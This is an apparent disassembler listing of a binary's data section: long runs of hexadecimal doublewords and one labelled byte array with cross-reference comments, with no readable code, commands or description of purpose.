		dd 0B0418BF6h, 800D11F8h, 35495983h, 70A8290Fh,	5000F776h
		dd 33E790BCh, 86F33Dh, 0B3FA9F31h, 2E65385Ah, 1A5BF8C1h
		dd 0E5EC8401h, 0AC3455E1h, 0C09F1A40h, 0FAB53B18h, 36D5704h
		dd 0BB54CCE3h, 0AAFE4886h, 0DFE11106h, 1F0620A5h, 4004F7D3h
		dd 806C9951h, 25CDD45Ah, 5001542h, 188DA2E9h, 9D8FF82h
		dd 575A7FDDh, 25AC1380h, 0A400289Ah, 55B5C5B2h,	0B93501F7h
		dd 226A9D18h, 0D2EA0A09h, 0E584085h, 7A19C097h,	0DF3503Ah
		dd 8681C309h, 0FC5C186Ah, 112900EDh, 0B91256C6h, 0E41D48DCh
		dd 0EACBC9EEh, 30748804h, 0D985014h, 8113692Ch,	0E4E4DEF1h
		dd 0F14726C4h, 0EA0B0878h, 9B2E0B4Eh, 0D5FA42Ch, 63193A0Eh
		dd 0A4E90060h, 32DC0C1Ch, 0A6E700B2h, 72BE7674h, 9534346Bh
		dd 18406003h, 10CD45D5h, 3497630h, 9E274CA3h, 0BB8811D4h
		dd 5C91A8F3h, 83DEEE00h, 0CDED08h, 0B498A368h, 0DA218E3Bh
		dd 63A9CB03h, 0A292C51Fh, 0CE78C8BFh, 0B80B822Dh, 9020A209h
		dd 3026CD0Ch, 3884322Eh, 80D08840h, 0AD160009h,	0D6E569F3h
		dd 49047D6Dh, 3345E7D3h, 2B898482h, 0F6AB7003h,	0A37E9900h
		dd 7602066Ah, 59F900FFh, 71DDBDFBh, 44015AD7h, 0A47B690Bh
		dd 91A62E0Fh, 8C11E4h, 18427F90h, 70252FFAh, 5D9407FBh
		dd 0AF5B4BBBh, 4C59F060h, 0E060AB0Fh, 1952EC71h, 0B29902BAh
		dd 0CAEBD361h, 8A5A041h, 95888884h, 99988B00h, 12BF152Eh
		dd 6D8A1AF4h, 208421AAh, 1FA6408Eh, 7FD0BF56h, 1C0503C3h
		dd 8B1251D2h, 9E622107h, 0E1C03298h, 0B8FEBF3Ah, 0D0310168h
		dd 0AB236911h, 1E8182C5h, 418DF10Bh, 20162B1Ch,	51B4D748h
		dd 7220FA68h, 0F7F273h,	0DF4689Ch, 803B71BAh, 0FC05B3ECh
		dd 2F29C51Ah, 7B7C6C80h, 9DBF0030h, 0E98F87C8h,	0FF068573h
		dd 9C0D889Fh, 0AA7C0F51h, 0FB00C0F3h, 0CBDE16DCh, 0A9096500h
		dd 59A87D3Bh, 0D0A52808h, 21B544C0h, 0CA350600h, 5BD551C2h
		dd 70C50060h, 6CA64822h, 29C2B412h, 610E2F55h, 98DF0893h
		dd 0F4188758h, 0BACAF6D3h, 16C54BE4h, 7CC01104h, 0A08C6E19h
		dd 21002811h, 227E1212h, 0F0E22950h, 833D5C59h,	72FD90C9h
		dd 58C3ED23h, 0FA08E4BCh, 30A58A8h, 0BCECA8F6h,	0C0260240h
		dd 11CA00F5h, 0DA17B209h, 7F5863D0h, 48986494h,	6C134Ah
		dd 45D832AEh, 9F004C7Ah, 97DF8878h, 0C3B1AB1Bh,	2C03F759h
		dd 0AF09397Fh, 92E3691Eh, 399CC69Ch, 0A4827508h, 0BCE38576h
		dd 894414C6h, 5B3CA8F2h, 0A48B0063h, 677E2455h,	6B39A6F5h
		dd 8F4C8BB7h, 0AF3410A8h, 26F1260Eh, 8B6A00C4h,	0AE5E587Eh
		dd 0E9005898h, 4C8E83B1h, 5DBDC28Ah, 9505D869h,	8A6B3C39h
		dd 0AE5D0028h, 50319DF1h, 4E1C1EB6h, 0AFD64734h, 9A67A005h
		dd 6133B52Eh, 0BC8F313Bh, 0F84D50F5h, 1D9DF4h, 1EB8DB21h
		dd 5BCA0B23h, 8B009F71h, 0F1C09AF8h, 0C0F7AB6Bh, 0BCBD1931h
		dd 13F5779h, 0D0E21E4Ch, 0B6B8DC1h, 0E3D2531Fh,	5440D5CCh
		dd 34858492h, 7A0800C8h, 2C699465h, 0A71C41E8h,	89CB5FC2h
		dd 4CCCA8D3h, 0C7401E80h, 0E43B85h, 0A2A49B8Bh,	83C2C38Fh
		dd 0ADBA4A05h, 0AC4B2DE1h, 9044AB20h, 3A6034h, 3E888469h
		dd 0FCE2CF0Fh, 5834E55Dh, 9A71C050h, 814A5Ah, 492672CBh
		dd 0EA53AEC1h, 83F76C00h, 0C668D919h, 9C645213h, 92F8EB22h
		dd 8C520500h, 0A2B972FFh, 33BD2AC5h, 0F648880h,	2CCB0097h
		dd 0F58643E0h, 76004B5Bh, 36129D63h, 24034E5Fh,	104CB489h
		dd 1209146h, 8DEFD88Fh,	3D04250h, 43B9002Ah, 54FF1A66h
		dd 8F4A992Eh, 0D3285041h, 0C0445FCBh, 0D290A8C7h, 0B48BD16Bh
		dd 22B4C430h, 228CE4D3h, 0E130806Ch, 0A81D8933h, 775D0291h
		dd 85D7F3ACh, 22D2C49h,	3BE123BCh, 1DBE3100h, 4CB9FA5h
		dd 0FE7B0951h, 0AC00A11Ch, 68AAA4Bh, 9820D04Fh,	2935F1Dh
		dd 7A3B586Dh, 0C2E0BB0Eh, 38134985h, 0F890E330h, 3EE98BF2h
		dd 0E2C6A3Dh, 0D965401Ch, 2F057BAAh, 86A6B470h,	448F94C8h
		dd 0B82528B9h, 247090E8h, 0DCE74D78h, 64F21E12h, 140E2ECh
		dd 13D3276Ah, 4602023h,	0E830C4FDh, 80A8E217h, 0F633380h
		dd 69F60545h, 3330098Bh, 0ED09888h, 0ED00D8F0h,	0A75E2AC0h
		dd 38FF626Dh, 0C6010145h, 0EAF12DD0h, 22788089h, 0A5B4D77Ah
		dd 82855FC3h, 8492FADBh, 48079479h, 4EE59957h, 16BED2C1h
		dd 0AC480EC9h, 0FEFA009Ch, 0D36D395Fh, 19C0820Dh, 5A081E0Fh
		dd 57AA0084h, 0B8140361h, 2448D664h, 77FDC038h,	79E27B96h
		dd 1809026Eh, 0F17E57F9h, 0DCDE2760h, 5FEA5C98h, 47DFF213h
		dd 468804C2h, 798F00F8h, 5EB74BC7h, 1D00F4FEh, 893F2010h
		dd 0B96F8AD1h, 86F8A53Ch, 0EDAA8F13h, 55DC9020h, 2EB5583Bh
		dd 1BF12967h, 30A1A00Dh, 0E3611330h, 0C96BD031h, 93806028h
		dd 9EF42A3Ah, 400A0FEh,	38A92C3Dh, 11B8DE1h, 0F3C7FEE2h
		dd 0DAA17D8Bh, 882D0C44h, 0BF88040Eh, 7F7D040h,	8500D318h
		dd 5541AA6Ah, 0B08261D2h, 58234C54h, 18275C79h,	0A4050901h
		dd 58899E58h, 527DA7B8h, 3E5BC501h, 13C15CC9h, 9403B869h
		dd 0DF6BB47h, 0B5ED52D0h, 0B87FE8C0h, 1D24EE6Ch, 32FE2231h
		dd 60460188h, 0B7E2CCB4h, 1CA03B3Eh, 5B002B75h,	968BE7A5h
		dd 80361Dh, 900906C0h, 3D470C4Fh, 0C53B8612h, 1134888h
		dd 9ED0E5F5h, 0C477F093h, 0AE001A0Fh, 3E481E75h, 45133D3h
		dd 5DF185F2h, 241CF34Bh, 50297A20h, 90C5A080h, 0BD2C84h
		dd 6381C052h, 5AFE3186h, 8B628700h, 0B46885D0h,	769E870h
		dd 0F21AC4B2h, 0C80ECB88h, 0B046D349h, 0ED60A8F8h, 0DCDA54A9h
		dd 0CE6104C0h, 0FB2AC876h, 6BD80C0h, 22D04AE7h,	4295998h
		dd 94509808h, 31F74C0h,	0A53E6369h, 0AE68005Fh,	0FB990182h
		dd 0D6854CFDh, 0C032F214h, 392D3022h, 0FA44B03Fh, 0AF8F14E7h
		dd 0EC2230EBh, 127BED00h, 0CC0B4A57h, 0F0F12645h, 42F13A0h
		dd 821A0E35h, 48681F38h, 834D68B5h, 1C205BA8h, 0BFD3DDAh
		dd 1182040Fh, 159E9CB1h, 8832E016h, 0C1882038h,	0B043280h
		dd 0CD39BEA4h, 25BDBCC2h, 8CD0D4F1h, 4B712CF4h,	0E9D69B03h
		dd 586988C5h, 0B326F8A9h
		dd 16E89C98h, 0F4503244h, 3CF72321h, 1D93BFFCh,	43CA33h
		dd 1A12F89Fh, 0AC059409h, 160FC884h, 888F68DCh,	78BC0CF7h
		dd 0D9B0139Eh, 0E18E57Ch, 505E64F1h, 7978DD80h,	3E4DAE2Ch
		dd 80AF8AF0h, 0F7B23B01h, 0B5089C15h, 0C8786B58h, 37940B7h
		dd 0EA05765Dh, 0AF6BF285h, 9C6C24A1h, 14ABFECBh, 564FF004h
		dd 0C818C8h, 0F164939Ch, 182C19D0h, 0A2533602h,	0EA95CB55h
		dd 3E18D844h, 0E682ABDBh, 85FCCC34h, 0CC63F4CAh, 9807698h
		dd 0FEFD0A00h, 25339169h, 0D4DF50B1h, 7D6A8802h, 0F8BFA428h
		dd 0D431B345h, 0B46920D2h, 58A3E2F2h, 4821E85Ah, 29D20AF7h
		dd 0C3008C44h, 0E758DFA2h, 27FED70Dh, 0B0AE67DCh, 41AEAD47h
		dd 2281B18Fh, 0C00C8068h, 2A34917h, 2FDF0DDh, 8EC97E8h
		dd 258FAE44h, 0EC1083B6h, 0CB121A09h, 3820E234h, 7812AF4h
		dd 0B4AA3040h, 84DB0512h, 2D0A2FCh, 0AFF9A006h,	13E0D515h
		dd 0A32E1FAEh, 0C260C003h, 3F8FD279h, 0BE0E1CA9h, 0F620A382h
		dd 0B32A5E6Dh, 0F45E0D4Fh, 2B036580h, 11A1887h,	0C5EBDA41h
		dd 3C2932F0h, 6F880188h, 46E18FA7h, 244CD225h, 68964462h
		dd 0B415E81Dh, 86A70439h, 4CCCD5FBh, 92CE0005h,	15361607h
		dd 66173ACFh, 38D46F12h, 0F8761400h, 0E73FCC05h, 7DD3F5FCh
		dd 6CA42C70h, 6EB50528h, 5350A297h, 442E2574h, 4C9080A4h
		dd 76D013D3h, 67F4D00Dh, 75004284h, 1EC023D2h, 0B1C12259h
		dd 2CB780CCh, 0D6729376h, 2A0E5407h, 6DB11AC0h,	2C67A9FAh
		dd 0C3BFB10h, 419B0EA4h, 11702EA3h, 5EA100CFh, 481F5A7Bh
		dd 0D03C92F2h, 3DC080F4h, 501469F1h, 8BC9E06h, 1184E536h
		dd 88568C32h, 7200C934h, 0CD8E9730h, 0DDE92Eh, 7994B8E5h
		dd 2D2A8E8h, 8CF2F41Dh,	0EC952189h, 71930008h, 97D16DFEh
		dd 9609BF69h, 59EB099Ah, 0A1428028h, 0E2B510ACh, 16DCE412h
		dd 0C0E0C00Eh, 4765E527h, 841895A4h, 0DF1EF02Dh, 1E42587Ah
		dd 7825F98Bh, 7E2C26B4h, 0C06FC57Ch, 0AA662E7h,	0B98EBF00h
		dd 72D8780Fh, 17E17EE5h, 86E4F8Fh, 0F1860708h, 698613h
		dd 0FC372420h, 0E4ED1D84h, 0F4717800h, 56AEE22Fh, 5CEC018Fh
		dd 0DBC758Bh, 0E141809Ah, 0C7108DAFh, 0DEF415h,	0EAABE3A7h
		dd 0FDC14E65h, 1A8EB348h, 1831A564h, 37DD84h, 0EDF52A55h
		dd 5B3A30B3h, 3B43E312h, 55ECC8h, 0ACF5B5FFh, 68FABCA4h
		dd 8298DA3Dh, 0FCB69490h, 0BB30841Dh, 2B098C51h, 9CC418E4h
		dd 0C4705303h, 0CC6FB2ADh, 0E689A082h, 509F4DDCh, 0B58B2A88h
		dd 2F60044Fh, 0BC8DE940h, 0A0A16B50h, 808C62E5h, 0E48D579h
		dd 0D5718AEh, 0B38F2115h, 6A8C608Ah, 2C0C1214h,	344404F0h
		dd 0B08853FFh, 9A510F0Bh, 80A08E7Ah, 0D6E12D6Ch, 0AB74D1F4h
		dd 245BC703h, 0C28F34A5h, 0E9AC2F86h, 7E01FE49h, 0BD8D2CFDh
		dd 82D05250h, 0E2CB3E0Eh, 0B2F91212h, 0FC285FC8h, 1F5F72DCh
		dd 80619B20h, 0EC1FB666h, 0B24A4172h, 0A9AFF430h, 0C83F00EFh
		dd 85840F08h, 352F799h,	0DE7B1E9Ch, 0CBFDFF8Eh,	0D5601B6Dh
		dd 0D004FC84h, 58C01509h, 115286BBh, 2EF63138h,	3C40380Dh
		dd 702EA15Dh, 77050EB2h, 23EB1F0Ch, 8050280Eh, 48ABD76Bh
		dd 20E8F6h, 8B25858Ch, 8EF827B5h, 483D092Ch, 36A05519h
		dd 0E8641312h, 2473F85Bh, 0E689030Eh, 95AFAA54h, 68B23FF1h
		dd 1820C9B4h, 0B6E350h,	56C8897h, 0A5E49F22h, 0AD7663Ch
		dd 0EC8E2572h, 78EA1460h, 3FE71C83h, 6989C0BDh,	0A865C78Fh
		dd 0A373A00h, 6886D072h, 0C730FAAh, 5C648B2Eh, 4C48BCA2h
		dd 0EEFC06A8h, 2290B3F2h, 3911310Eh, 1D25E50Bh,	655DBCCCh
		dd 2FC8B20h, 2F8DB6C8h,	0B0C56329h, 0FBA6C001h,	0FCC7B0Ah
		dd 0BAB2E74h, 30902520h, 1E013F9Fh, 3CA20A1h, 1DC806Fh
		dd 1DB43271h, 0C68C10h,	0CF3FB92Ch, 0C0BC1B14h,	9307E354h
		dd 1DBE02D5h, 576D94CEh, 0ED01FC4Ch, 0C77C1860h, 1480DA04h
		dd 84A6A972h, 9925F908h, 76C6485h, 5E29D4BDh, 0E45A30CDh
		dd 0F900E764h, 899BEEA2h, 907624C1h, 980B030h, 0F07FF765h
		dd 5C386804h, 7B408EC3h, 9DE8C047h, 0FF320125h,	0AC092799h
		dd 5473BFh, 17358959h, 0F5AA960h, 6964A5E1h, 0CF4400B2h
		dd 6A8570B5h, 3CB48B5Ch, 4B4A3CC8h, 1AB9CC8h, 0AD9E020Fh
		dd 0E0D32D4Dh, 8B1E18B4h, 28C05233h, 0C83AD2FAh, 0C3A401AFh
		dd 0DFD2E8Fh, 584E109Bh, 0EF74B4h, 0EE1C17B1h, 701A16F3h
		dd 4B54D907h, 8E30FAA7h, 4D8D9D94h, 3B1F844Eh, 6398AE55h
		dd 0EEB8D910h, 6D00B5A1h, 0AFFA428Dh, 0E05E7D0h, 88F795CBh
		dd 3F848837h, 610966F6h, 595282E9h, 20170250h, 6E60AC34h
		dd 0B1007606h, 8316FEADh, 123CB669h, 43D7C0Fh, 402B0A54h
		dd 8F37A523h, 0C4B45DB5h, 17CF1B83h, 0D56101A0h, 0D32D37FEh
		dd 0DE8810B4h, 24670E50h, 0B860DB6Eh, 3FD94259h, 8D17B91Eh
		dd 1828BFC0h, 62303857h, 15F7A1EFh, 6C373CA0h, 0A490BDEEh
		dd 0A1B46A02h, 602203B6h, 0B18B5954h, 89C78E14h, 0C25DDB20h
		dd 0F2027A8Eh, 18B88BFBh, 0A8F9DAh, 7B20BC2Bh, 0D7009365h
		dd 3A9FC498h, 8635E1h, 81A1E98Fh, 0BCD0F103h, 5CB9B890h
		dd 0B4F3A40h, 0E87E0013h, 77808403h, 645034BBh,	0AD528F54h
		dd 6CAB2894h, 0A387805h, 2FFC6663h, 6807F709h, 0B502BC2Eh
		dd 0E82C826Ah, 308105BFh, 0B3854FBBh, 6E8280B4h, 1DDB11EAh
		dd 40552E6Dh, 5AE48505h, 0C2179970h, 44305C87h,	6AB0DBh
		dd 97812A88h, 541DE339h, 23B11E17h, 0EDAC88h, 0B382D4DEh
		dd 0AA01501Ah, 68F23C24h, 6425F824h, 70903ED0h,	0F9340B00h
		dd 735291DDh, 3927CBF4h, 646530h, 5D522346h, 0D8A6A40Fh
		dd 823C2C7Bh, 7A4E0778h, 52D9B5AFh, 0DC8F0098h,	31924BDFh
		dd 750028F3h, 3760F267h, 266284ECh, 50F8B6A7h, 5C82EA8Dh
		dd 0D7314034h, 57014D5Dh, 0B83EA053h, 0B8383239h, 6C467DCFh
		dd 0A0A13E0Ch, 7C7D13h,	0F3E7C0A6h, 2662320Dh, 0C22EB9h
		dd 0E50174F4h, 0A81ED4E3h, 0A9FF6BC8h, 0B821DC99h, 98FA2B80h
		dd 5818650Eh, 2F0268DDh, 6AD2269h, 1F4874A0h, 5F007004h
		dd 0EBDEF6FCh, 5C7561h,	0EA455835h, 6ABCC0EDh, 5940F49Eh
		dd 60C4926h, 38758D37h,	0B0171933h, 65E031B8h, 34BFF241h
		dd 0A6E9BADDh, 36621F8h, 8547ED0Ah, 7F5CB0D4h, 13098B12h
		dd 8AB16008h, 60906DD3h, 8F0DD020h, 0E01741C0h,	12FBE9h
		dd 5CA7038h, 29029F34h,	70135C24h, 0A404EE12h, 0B4B283F2h
		dd 0F888DE00h, 14AD9B79h, 6D716E00h, 0F223B718h, 6388BE7Bh
		dd 70227AC5h, 0C2C81C99h, 2F7BCBD4h, 0C3341E00h, 0B505FC52h
		dd 9EEDBA0Ah, 5915B409h, 53A042DCh, 0BA60F008h,	0E5B3BC5h
		dd 0C6CF3AE2h, 94B6B240h, 1C5F5E33h, 0CE0AC420h, 663A0089h
		dd 0D76AFE8Fh, 0E213FD40h, 74302E0Eh, 7EBC9Fh, 363AD13Bh
		dd 0B670893h, 1D496E24h, 0D8421A00h, 4A1368B8h,	0D00C823Dh
		dd 7D013C59h, 81A9894Eh, 8642C0h, 3D3364DFh, 94CCE5B1h
		dd 465C6901h, 0AB1BC71Eh, 2B5C403Fh, 0A4099FB6h, 10EA0327h
		dd 0DC911Ch, 0D05CB47Ch, 7346B38Eh, 676CF2A0h, 40A6AC9Ah
		dd 9E00B472h, 7CAF8781h, 104B1D5h, 90441B2Bh, 31F7EC1Ch
		dd 6548306Ah, 8ED31101h, 8B8D1979h, 77EFE84Ch, 823E0009h
		dd 42F508FDh, 0D271BE2h, 5F84EC23h, 60182D6Ah, 418A8264h
		dd 0D010B7B8h, 0E85B0385h, 27802825h, 5CDBECh, 1C975BD2h
		dd 0C003B96Dh, 170B6BF6h
		dd 22E199Ah, 543B0B84h,	11CBE7E4h, 708E82CDh, 0D20281A2h
		dd 942CFDEh, 0A45126h, 60766759h, 5B2501FBh, 20E42Ch, 0C862DB27h
		dd 5797FDAh, 5C91CF1Ch,	400F7780h, 2E61375Ah, 9EF8D38Dh
		dd 0C31D9629h, 8008648h, 0AF0D855Ah, 756506CEh,	156E0931h
		dd 0AC099877h, 846A8E87h, 23549079h, 0F909610Bh, 51E0B54Bh
		dd 0EB889F8h, 0AB1FC010h, 0F600F4FAh, 0EDA9AEF1h, 0D272675h
		dd 5E90D964h, 0BC632A30h, 39492DA5h, 8613E844h,	0D000E9C5h
		dd 20D398AAh, 9C273215h, 0F4987E98h, 8E005EF8h,	4C2D1DC7h
		dd 3D9A675Dh, 0DF05416Bh, 8D4D7F58h, 9EB7D810h,	9FA1870Fh
		dd 34676099h, 20AB8FE7h, 0B517E685h, 0F8DC9869h, 365600D6h
		dd 67BA603Fh, 42F8AAEBh, 2272400h, 0A51D1C2Bh, 54292852h
		dd 0DB6A138Ch, 0A2C8h, 202EAFF8h, 30C12Fh, 0D380F96Ch
		dd 26111569h, 0E888F429h, 0EF004CA4h, 0A7EA5AD8h, 690909E7h
		dd 0BE02A5BAh, 0CC59016Bh, 0AF345900h, 29FC692h, 0CC72A0DEh
		dd 934050C2h, 889E4028h, 0DEE95440h, 489C0057h,	1C1AA3C0h
		dd 383C3C08h, 0D1D026Eh, 0C0D2BCB7h, 366D0A8h, 5BD3DBC2h
		dd 0B5A2A655h, 14828041h, 698014E8h, 1139482Bh,	0BF00617Eh
		dd 0FD300A7Ah, 3E7DE125h, 0C84B0887h, 0FF001F98h, 9509BBA8h
		dd 4AAD6C55h, 12CCB69h,	1E6AE22Fh, 7F10EEA8h, 0F20768CEh
		dd 827A15DFh, 44AF8FF2h, 85DB04D4h, 0B6802B62h,	9C0800C4h
		dd 0E44C8EC3h, 982EEE0h, 0EEAF05E7h, 37A56C21h,	61EB30FEh
		dd 439A325h, 3B5E342Ch,	8C58564Ah, 25092D30h, 64AA8FDAh
		dd 3634288h, 2F3323F1h,	0C5113CF2h, 0AAC220F6h,	386A860Bh
		dd 0B4F4100Bh, 0F8A1E451h, 0BCC7140Dh, 0AF0BC0F9h, 0C4C40EE8h
		dd 2DB418EDh, 68491EB6h, 15C816A4h, 1C15F7B1h, 38133323h
		dd 1E065CE2h, 30BC6D01h, 64283345h, 4A870F72h, 7B2154B5h
		dd 404C4E10h, 5F130DF4h, 92780098h, 2DE2B518h, 0DB4839h
		dd 0F5B25123h, 0FDAB96C2h, 0B8A408D3h, 23C3016Bh, 0E7D4CFEDh
		dd 1C742367h, 0B1403390h, 7348DB56h, 0C735012Ch, 0B244B484h
		dd 80406875h, 0A17995E9h, 0F6FDEBC2h, 6C18ECh, 143D731Eh
		dd 0F46533DEh, 16DDA2Eh, 0F09414h, 0F8A7A8Eh, 40253CF1h
		dd 76585297h, 948C3E34h, 8F90A878h, 0D9ECA0C6h,	334F566Dh
		dd 0FC0965BCh, 5AA62100h, 173B82ECh, 0E52B09EDh, 101092h
		dd 0DA0183DCh, 6A9AAE69h, 547043ABh, 86A600E9h,	753CF05Fh
		dd 18A339B6h, 17B8123h,	6DD8EC51h, 88FB184Eh, 0EC0059A5h
		dd 0BE83FE1Bh, 35614D8h, 0FF380971h, 87E44CDFh,	5AE6111Ch
		dd 8C2213h, 80CBBE90h, 35B6A20Bh, 2309332Ch, 0CBD8F0E4h
		dd 40068578h, 0ECF8DF03h, 61B52748h, 0B3421CE4h, 55799104h
		dd 0FF70C05Fh, 0CC69BCBFh, 1D088430h, 0A52B6440h, 29D35972h
		dd 13AE9400h, 63FAD7h, 0EEB966A1h, 4F2AF02Eh, 0D37938h
		dd 0B11B1FD5h, 26F19932h, 2E1D9h, 70C46EC1h, 9BFC8B29h
		dd 43328913h, 1C3DFB01h, 0E0CEAA1Bh, 63B0822h, 0CD71666Eh
		dd 54064874h, 0BBD589Bh, 1C320311h, 4BFDD6FBh, 0A834B098h
		dd 5F116806h, 3212BF3h,	51D50E57h, 7B2C52Fh, 15445AC0h
		dd 39E0BA5Bh, 79E50090h, 0D5284D7Ah, 5A72549Bh,	0AE96FE03h
		dd 7CC9D385h, 0F0C0758h, 0D6F15230h, 0B101A835h, 1868E141h
		dd 0BECCDA8Ah, 0C5D90089h, 3E785B22h, 1C1E3462h, 9306AB2Ch
		dd 0E29C2942h, 2B090030h, 7A05959Bh, 0F43A8866h, 0C392001Eh
		dd 89B01D17h, 95CB0FCDh, 6A8641C2h, 30019F7h, 3F3163A9h
		dd 0CA0A31Ch, 0BF921132h, 340C1BE8h, 0B022C7B4h, 802454F3h
		dd 0CB963C65h, 0FED3391Dh, 0A3671Fh, 454405E1h,	48074663h
		dd 0C77F1017h, 0A0062E63h, 7FB95682h, 0B1FC60h,	0DCDBE650h
		dd 2FC8927Eh, 70BC21C0h, 326838h, 50D727D1h, 2F43E59Fh
		dd 6B5E440Dh, 87E0289Ch, 2130C0D1h, 3E69044Ah, 1D84D606h
		dd 1049DD3Dh, 67A4078h,	0D51C6F83h, 0CE7E0031h,	0DC8B9E2Ch
		dd 8E71F5E2h, 0F9AB9900h, 337AF418h, 1CB811D1h,	0FD6700C0h
		dd 18650CA2h, 0FB720020h, 0D751DD3Bh, 0EB001019h, 8F5F949Dh
		dd 49E086h, 207785A4h, 4BB1DA3Ah, 0CCB02161h, 14CCF3F9h
		dd 28E40089h, 9E597FE6h, 8F3048CDh, 0B642E093h,	0D91C3055h
		dd 347BAB79h, 0A62DF60Ch, 3EAAAFh, 0CC10F388h, 160AC697h
		dd 0CA94E100h, 0ACAE4C93h, 0A0433C98h, 0E40C416Fh, 791FC708h
		dd 57002933h, 4DF28A3Ch, 98CF50B9h, 281C00B3h, 86215382h
		dd 0A8001309h, 0A541C0CAh, 466A7Fh, 0EAC2459Ch,	62E2B010h
		dd 2438C2Ch, 4E86971Dh,	52110789h, 6AF80432h, 10076430h
		dd 1C4CEFDh, 45626F69h,	0EC3478E8h, 91B84FC9h, 0ADB26A1Bh
		dd 0C4267212h, 0E90129h, 370E4E40h, 0BFB600CBh,	2A98BCD8h
		dd 31CABCCh, 9E007B47h,	0A58BEEF4h, 0DE95001Ch,	444F8188h
		dd 28903316h, 0A7A1681Ch, 1240069Fh, 65C3B0E3h,	90CA004Dh
		dd 49099CF7h, 0B1EE543Dh, 84F21E00h, 2A43A5A2h,	3A13983Fh
		dd 0BEC8D514h, 5EBFD400h, 0B0E66220h, 91002275h, 0C6592EE8h
		dd 0D3FE3Bh, 0A86D41D4h, 0B3C01044h, 82C89E00h,	4F69E005h
		dd 881A00F4h, 0A907BE8h, 0AB395245h, 0E3683DAh,	0C0B18A59h
		dd 77A23EBh, 30676FF0h,	7D5F43A6h, 774D71A0h, 0E800C37Ah
		dd 0FC52B728h, 5B3ACh, 0B6CFBD09h, 6CA1298Fh, 1D72B800h
		dd 0A249306Dh, 9DE1006Fh, 2C873FA6h, 5B03D596h,	1907C566h
		dd 0CE4DD8DBh, 59170188h, 6CE670A7h, 0E087CA73h, 56F0E057h
		dd 6F003B44h, 0BC2813F7h, 3D02C595h, 793550h, 2BEC2EE1h
		dd 0E7C6DCACh, 8DEE6D00h, 153BC20Bh, 80973894h,	819F9Ch
		dd 0D886B973h, 0DA00057Dh, 3BEE3642h, 544E04Ch,	0E5A0F531h
		dd 6E87072Eh, 0E3EB60FBh, 23FA5CCBh, 5567A800h,	0A46AE68Fh
		dd 83F903FFh, 2B7C714Ah, 0D876C0A9h, 8D38E3A6h,	8EF30042h
		dd 349370F6h, 489005h, 2318CCBBh, 4D6E4935h, 0C3D95703h
		dd 0B0A2FCF5h, 0EABB7F60h, 0D4E000EAh, 52B310Bh, 4309E963h
		dd 804AF81Eh, 68FF4F02h, 5CB845h, 71F94DAAh, 0A39CEB1Dh
		dd 67C2A200h, 0AB0A3FB8h, 32E00017h, 1B93070Ch,	0B390427h
		dd 0D0A78052h, 0D6700294h, 297471h, 0E983BF1Dh,	6FC499F5h
		dd 2F560107h, 41009D79h, 848D6Ch, 0ED1ECFD7h, 81B46B3h
		dd 0E003E77h, 5753BA18h, 4F70F3h, 5ED1AB8Fh, 764CA663h
		dd 10668C02h, 8039B443h, 0A84B3B80h, 0CAB603A3h, 59D7C2FEh
		dd 227C74F8h, 0FFEAD40Eh, 606AA23Bh, 0ABBFC054h, 6EE30086h
		dd 0F57B9EC3h, 0CF000247h, 0F0C5E879h, 50C02BADh, 116B80F6h
		dd 0A1231Ch, 159EB792h,	0E97D8Ch, 0C8FD9C13h, 0F4D2A9Bh
		dd 0DAF91E00h, 8ECDC044h, 4AFF0F89h, 0E2116B5h,	20E42EFBh
		dd 61F9EC7h, 50401D66h,	0C0BE0159h, 923D01F9h, 0C5B33199h
		dd 0DCE02065h, 804A743Eh, 899AA97Ch, 0E22D2AE5h, 0DEAC12CDh
		dd 118B0052h, 3AE8B5E0h, 9E754498h, 4A5DF800h, 86C81E51h
		dd 0CA480065h, 0C003A44Ch, 6938AF26h, 667A7DF9h, 0DF7A9700h
		dd 483F577Ch, 2E0FC34h,	25C546C4h, 0B44054F7h, 58720A2Dh
		dd 353C6101h, 199C28D1h, 30E83FCCh, 2D041413h, 0C4097ADDh
		dd 47F4Ch, 0EF7768C9h, 13BB00B9h, 1292C879h, 0FD1F66C6h
		dd 1C80CA7Eh, 0B2D03488h, 55C31E5Bh, 662A09C2h,	48BCC20h
		dd 6313B8A6h, 2C005AB2h, 973D9277h, 907EEAh, 45888706h
		dd 8A9E93E6h
		dd 0BF3BA8C0h, 5879EDB1h, 0E1889F2h
		db 0C9h
byte_530055	db 51h,	0D5h, 0D6h	; DATA XREF: ___:off_43810Co
					; ___:off_438124o
		dd 16B091E2h, 85E1500h,	98035651h, 1DFC01F2h, 5707D1E3h
		dd 3A6FE8A8h, 2011E702h, 40DA0690h, 6F3FEF4h, 0CCD5C535h
		dd 0D09810C1h, 84109602h, 406F9C6Dh, 1CCBDDh, 938CB80Ch
		dd 0B192F735h, 0D356EF00h, 382CAB78h, 0E01F000Fh, 31C2C7F4h
		dd 0A9003EA7h, 0C3E8D529h, 389A344h, 3A74E5D1h,	99B0961Fh
		dd 4E00458Ch, 2406C8E2h, 304788CBh, 0C5D9595Ah,	8A01CF7Ah
		dd 64752657h, 53DC4AB8h, 39070F3Dh, 0A9208CD7h,	0D3AEEE85h
		dd 76599C00h, 0EFB07445h, 3597011Dh, 854F1107h,	0C0C0F78Ah
		dd 0C80518FFh, 27CAAE8h, 9D390C90h, 0B06300BDh,	8AF15ED3h
		dd 72006822h, 45EB950Dh, 2C3B3076h, 2A4B0687h, 0A9322C40h
		dd 8B22004Eh, 68E2B29Ch, 14456000h, 547803E0h, 0EA4607ACh
		dd 0CAE449D6h, 7B2101E0h, 0F005CAC0h, 0C400A154h, 78937CF8h
		dd 0B6ECB9h, 4C8EC6D7h,	66E3F0BAh, 0E7D34316h, 0AD53C841h
		dd 78F439DAh, 0A6050348h, 4170014Dh, 8EAF20A0h,	6700D090h
		dd 6AEEF32Dh, 7C21AE14h, 94EF18A6h, 2B894F5h, 0FF0543B0h
		dd 0E2091D25h, 1FB881AAh, 0B698ECAFh, 0DD41A303h, 9B704430h
		dd 0CFEB834h, 267F95h, 37124073h, 0C953CBECh, 13FF5B02h
		dd 0C1BB6EB7h, 0D5E03129h, 4BF21C7Bh, 0FEB18B40h, 6CB5C480h
		dd 0DAE0063Fh, 6AA2D405h, 30D066B0h, 1FBE5BBh, 8C095223h
		dd 806525DDh, 0D5C65878h, 48EE4D90h, 0D13C89B3h, 91499E00h
		dd 5C095D16h, 0BBE5BA00h, 45CDFA18h, 810100C7h,	0BF68BD0Dh
		dd 0A70077D4h, 1C339674h, 16F15B3Eh, 1AF85Ah, 0E376A46Fh
		dd 74BA3B7Eh, 62018576h, 0DA2783BCh, 0DCD1AB82h, 2EC5D9D0h
